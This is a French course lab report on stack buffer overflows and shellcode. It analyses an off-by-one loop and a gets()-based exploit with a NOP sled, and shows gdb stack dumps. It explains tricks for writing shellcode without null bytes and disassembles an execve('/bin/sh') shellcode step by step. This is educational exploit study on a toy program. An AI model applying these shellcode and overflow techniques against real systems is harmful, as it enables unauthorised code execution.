---
title: "Sécurité logicielle : TD5 stack overflow et shellcode"
date: 2023-02-17
lastmod: 2023-03-30
tags: ["Assembleur", "x86"]
author:
 - Yorick Barbanneau
 - Gwendal Aupee
categories: ["Sécurité logicielle", "TD"]
---

## Partie 1

Avec l'aide de `pframe`, nous pouvons voir que lorsque notre boucle itère pour
la onzième fois, l'affectation `t[11]` écrase `i` et le remet à 0. A ce moment
notre boucle reviens à départ; une boucle infinie se produit alors. C'est la
conséquence du *buffer overflow* causée par une mauvaise maitrise des boucles et
variables associées.

En effet en prenant en compte le 0 comme index de tableau, la boucle `for (i=0; 
i<=N; i++)` itère 12 fois et non 11. La condition devrait être `i<N`.

## Partie 2

### question 1 et 2

Le code d'`anodin` contient l'appel à `gets`. Cette fonction est déconseillée
car elle ne prend pas en paramètres **le nombre d'octets maximal à lire**. Il
est ainsi aisé de réaliser une attaque par **dépassement de tampon**:
L'utilisateur saisie plus de donnée que la taille de la variable qui les reçoit.

Pour `exploit`, le code vu en cours est repris dans cet exemple. Nous sommes
cependant en présence de code *C* avec du code assembleur directement écrit en
*hexadécimal*.

L'exploit est prévu pour fonctionner en assembleur x86_32 et x86_64 avec la
présence d'une macro afin de positionner les instructions adaptée dans la
variable `exploit`:

```c
unsigned char exploit[1024] = {
#ifdef __x86_64__
	/* 64 bit version */
    // [...]
	0x0f, 0x05,			// system call!
#else
	/* 32 bit version */
    // [...]
	0xcd, 0x80,			// system call!
#endif
};
```

### question 4

Lors de l'exécution de notre attaque et en l'observant avec gdb, nous pouvons
clairement les éléments de notre attaque : les éléments de la pile contenant les
adresses vers notre *shellcode*, les padding avec des `nop` et le *shellcode*.

Avant la saisir par l'utilisateur dans `anodin` voici la pile:

```
0x7fffffffe520            0x00007fffffffe610
0x7fffffffe518            0x00007ffff7dff18a
0x7fffffffe510            0x0000000000000001
0x7fffffffe508    ...     0x00007ffff7ffdad0
0x7fffffffe500    arg3    0x0000000000000000
0x7fffffffe4f8    arg2    0x00000001f7fe6e10
0x7fffffffe4f0    arg1    0x00007fffffffe628
0x7fffffffe4e8    ret@    0x00005555555551e8
0x7fffffffe4e0      bp    0x00007fffffffe510
0x7fffffffe4d8            0x0000000000000000
0x7fffffffe4d0            0x0000000000000000
0x7fffffffe4c8            0x0000000000000000
0x7fffffffe4c0            0x0000000000000000
0x7fffffffe4b8            0x0000000000000000
0x7fffffffe4b0            0x0000000000000040
0x7fffffffe4a8            0x000000000000000c
0x7fffffffe4a0            0x0000000000000000
0x7fffffffe498            0x0000000000000040
0x7fffffffe490         sp 0x0000000000000004
0x7fffffffe488            0x00005555555551af
0x7fffffffe480            0x00007fffffffe4e0
```

Après la saisie l'utilisateur, et donc **l'injection du code par `exploit`** la
pile a un tout autre aspect. On voit bien l'action de la "*mitraillette*" sur
le bas de la pile avec l'adresse de retour.

```
0x7fffffffe520            0x0000000000000000
0x7fffffffe518            0x0000000000000000
0x7fffffffe510            0x0000000000000000
0x7fffffffe508            0x00007fffffffe498
0x7fffffffe500            0x00007fffffffe498
0x7fffffffe4f8            0x00007fffffffe498
0x7fffffffe4f0            0x00007fffffffe498
0x7fffffffe4e8    ret@    0x00007fffffffe498
0x7fffffffe4e0      bp    0x00007fffffffe498
0x7fffffffe4d8            0x00007fffffffe498
0x7fffffffe4d0            0x00007fffffffe498 ; mitraillette enclenchée!
0x7fffffffe4c8            0x0000000000000000
0x7fffffffe4c0            0x0000000000000000
0x7fffffffe4b8            0x050fe6894857e289
0x7fffffffe4b0            0x48006a0000003bc0
0x7fffffffe4a8            0xc7485f0068732f6e
0x7fffffffe4a0            0x69622f00000008e8 ; début de notre shellcode
0x7fffffffe498            0x9090909090909090 ; nop
0x7fffffffe490         sp 0x9090909090909090 ; nop
0x7fffffffe488            0x00005555555551c0
0x7fffffffe480            0x00007fffffffe638
; [...]
```

On voit aussi apparaitre notre *Instruction Pointer* dans la pile lorsque notre
shellcode est exécuté. Les différents paramètres pour **l'appel système** se
mettent alors en places.

```
0x7fffffffe4f0         sp 0x00007fffffffe498
0x7fffffffe4e8            0x00007fffffffe498
0x7fffffffe4e0            0x00007fffffffe498
0x7fffffffe4d8            0x00000000ffffe498
0x7fffffffe4d0            0x00007fffffffe498
0x7fffffffe4c8            0x0000000000000000
0x7fffffffe4c0            0x0000000000000000
0x7fffffffe4b8            0x050fe6894857e289
0x7fffffffe4b0            0x48006a0000003bc0
0x7fffffffe4a8            0xc7485f0068732f6e
0x7fffffffe4a0            0x69622f00000008e8
0x7fffffffe498 ip   bp    0x9090909090909090
0x7fffffffe490            0x9090909090909090
0x7fffffffe488            0x00005555555551cc
0x7fffffffe480            0x0000000000000003
```

Voici les éléments de notre `exploit` qui se retrouvent dans la pile, les
différentes parties sont délimitées par des crochets:

```
0x7fffffffe4b8            0x[050f] e6894857e289     ; 4
0x7fffffffe4b0            0x48006a000000 [3b] c0    ; 3
0x7fffffffe4a8            0xc7485f0068732f6e
0x7fffffffe4a0            0x69622f [00000008e8]     ; 2
0x7fffffffe498 ip   bp    0x9090909090909090        ; 1
```

 1. piste d'atterrissage de l'exploit preparée avec des `nop`
 2. placement en mémoire de notre chaine `/bin/sh`
 3. le numéro d'appel système pour `execve` (59 ou *0x3b*)
 4. lancement de notre appel système

Lors de l'instruction pas à pas du code assembleur, nous pouvons observer la
mise en place des arguments de notre appel système dans les différents
registres, notamment *0x3b* dans `rax` et le chemin complets vers `sh` depuis 
la pile vers `%rdi`

## Partie 3

Lors de l'exécution du `strace` sur notre exécutable `shellcode` nous voyons
bien apparaitre les deux appels systèmes `creat` et `exit`:

```
execve("./shellcode", ["./shellcode"], 0x7ffd7e08f160 /* 44 vars */) = 0
creat("/tmp/pwn", 0666)                 = 3
exit(42)                                = ?
+++ exited with 42 +++
```

L'exécution d'`objdumb -d -x` afin d'afficher les adresses des constantes nous
permet de vois que c'est bien l'adresse de `filename` qui est placée dans `%rdi`
avant d'appeler `creat` (appel système `0x55`).

```
[...]
SYMBOL TABLE:
0000000000402000 g       .data	0000000000000000 filename
0000000000401000 g       .text	0000000000000000 _start
0000000000402009 g       .data	0000000000000000 __bss_start
0000000000402009 g       .data	0000000000000000 _edata
0000000000402010 g       .data	0000000000000000 _end

Déassemblage de la section .text :

0000000000401000 <_start>:
  401000:	48 c7 c6 b6 01 00 00 	mov    $0x1b6,%rsi
  401007:	48 c7 c7 00 20 40 00 	mov    $0x402000,%rdi
  40100e:	48 c7 c0 55 00 00 00 	mov    $0x55,%rax
  401015:	0f 05                	syscall
  401017:	48 c7 c7 2a 00 00 00 	mov    $0x2a,%rdi
  40101e:	48 c7 c0 3c 00 00 00 	mov    $0x3c,%rax
  401025:	0f 05                	syscall
```

Une fois `shellcode.S` modifié et compilé, nous avons extrait les **opcodes**
avec une cible de notre `Makefile`. Cette cible créée un fichier `opcode.txt`
prêt à importer dans notre code `C`[^opcode].

Avec cette méthode, nous n'avons pas à nous soucier de *l'abréviation*  des 0
par `objdump`. Et en plus on évite les erreurs de saisie.

Nous avons ensuite modifié notre *shellcode* afin de banir `\0` -- il ne
contenait pas de `\n` -- avec les astuces suivantes:

 * Utiliser la séquence `jmp`, `call`, `pop`. L'adresse du `call` est ainsi
   négative et ne contient pas de 0.
 * Utiliser `xor` sur un registre vers lui même afin de l'initialiser à 0
 * Utiliser la pile pour affecter des valeurs à nos registres
   ```asm
   push $0xabcd
   pop %rsi
   ```
 * Pour des valeurs contenant 0 (mais pas `f`), utiliser le complément à deux,
   par exemple pour 0666:
   ```asm
    pop %rdi
    push $0xfffffffffffffe4b
    xor %rsi, %rsi
    pop %rsi
    neg %rsi
   ```
 * Pour les valeurs contenant des 0, utiliser des opérations arithmétiques pour
   les calculer
   ```asm
   # put 61 in %rax 
   push $61
   pop %rax
   # minus 1, we've got 60 (exit syscall number)
   lea -1(%rax), %rax
   ```
   Pour sa soustraction ou l'addition, on utilise `lea`.
 * Utiliser `.ascii` à la place de `asciz`, ainsi notre chaine ne contient pas 
  `\0` à la fin.

Après l'incorporation de notre *shellcode* dans le fichier `exploit.c`, sa
compilation et son exécution, le fichier `/tmp/pwn` est bien créé.

[^opcode]: enfin quasiment, notre cible n'est pas parfaite et il faut supprimer
  quelques éléments à la fin de la séquence

## Partie 4

Voici le code assembleur obtenu d'après les opcodes:

```asm
xor    %eax,%eax
movabs $0xff978cd091969dd1,%rbx
neg    %rbx
push   %rbx
push   %rsp
pop    %rdi
cltd
push   %rdx
push   %rdi
push   %rsp
pop    %rsi
mov    $0x3b,%al
syscall
```

Notre *shellcode* commence par initialiser `%eax` à 0 en faisant un `xor` - *ou
exclusif* sur lui-même. Plus il place `$0xff978cd091969dd1` sans `%rbx`. Ceci
est en fait une chaine de caractère qui sera dévoilée lors de la prochaine
instruction.

Celle ci est en fait `/bin/sh` suivi de `/0` donnée par `neg %rbx`.
Cette instruction réalise un complément à deux sur le registre en paramètre.

`%rbx` est ensuite poussé sur la pile tout comme notre pointeur de pile. 

Le contenu pointé par le pointeur de pile (l'adresse de notre chaine)
est passé au registre `%rdi` et la pile remonte d'un cran (`pop`).

Le mnémonique `cltd` étends le bit de poids fort d'`%eax` dans `%edx`. Il est
question ici d'initialiser `%edx` à 0.

`%rdx` est ensuite poussé sur la pile, puis `%rdi` et notre pointeur de pile.
Voici d'ailleurs à quoi ressemble cette dernière:

```
[...]
0x7fffffffe538            0x0068732f6e69622f
0x7fffffffe530            0x0000000000000000
0x7fffffffe528            0x00007fffffffe538
0x7fffffffe520         sp 0x00007fffffffe528
[...]
```
Enfin `0x3b` est positionné dans `al` (appel système `execve`) et notre appel
est lance avec `syscall`. Voici l'état des registres au moment de notre
`syscall` :

```
rax            0x3b                59
rbx            0x68732f6e69622f    29400045130965551
rcx            0x0                 0
rdx            0x0                 0
rsi            0x7fffffffe528      140737488348456
rdi            0x7fffffffe538      140737488348472
rbp            0x0                 0x0
rsp            0x7fffffffe528      0x7fffffffe528
```

Et l'état de notre pile : 

```
[...]
0x7fffffffe548            0x00007fffffffe87d
0x7fffffffe540            0x0000000000000001
0x7fffffffe538            0x0068732f6e69622f
0x7fffffffe530            0x0000000000000000
0x7fffffffe528         sp 0x00007fffffffe538
0x7fffffffe520            0x00007fffffffe528
[...]
```

Notre *shellcode* lance donc `/bin/sh`. Comme défini dans l'ABI Linux, notre appel
système utilise `%rdi` comme premier paramètre, celui-ci contient l'adresse de
`/bin/sh` sur la pile. Le second paramètre, un pointeur vers le tableau des
arguments d'`execve` est contenu dans `%rsi`. Le dernier argument est passé par
`%rdx` : 0.

Dans ce *shellcode*, tout est fait pour ne pas avoir de caractère `/0` et `/n`
afin de passer `gets` et `strcpy`. 
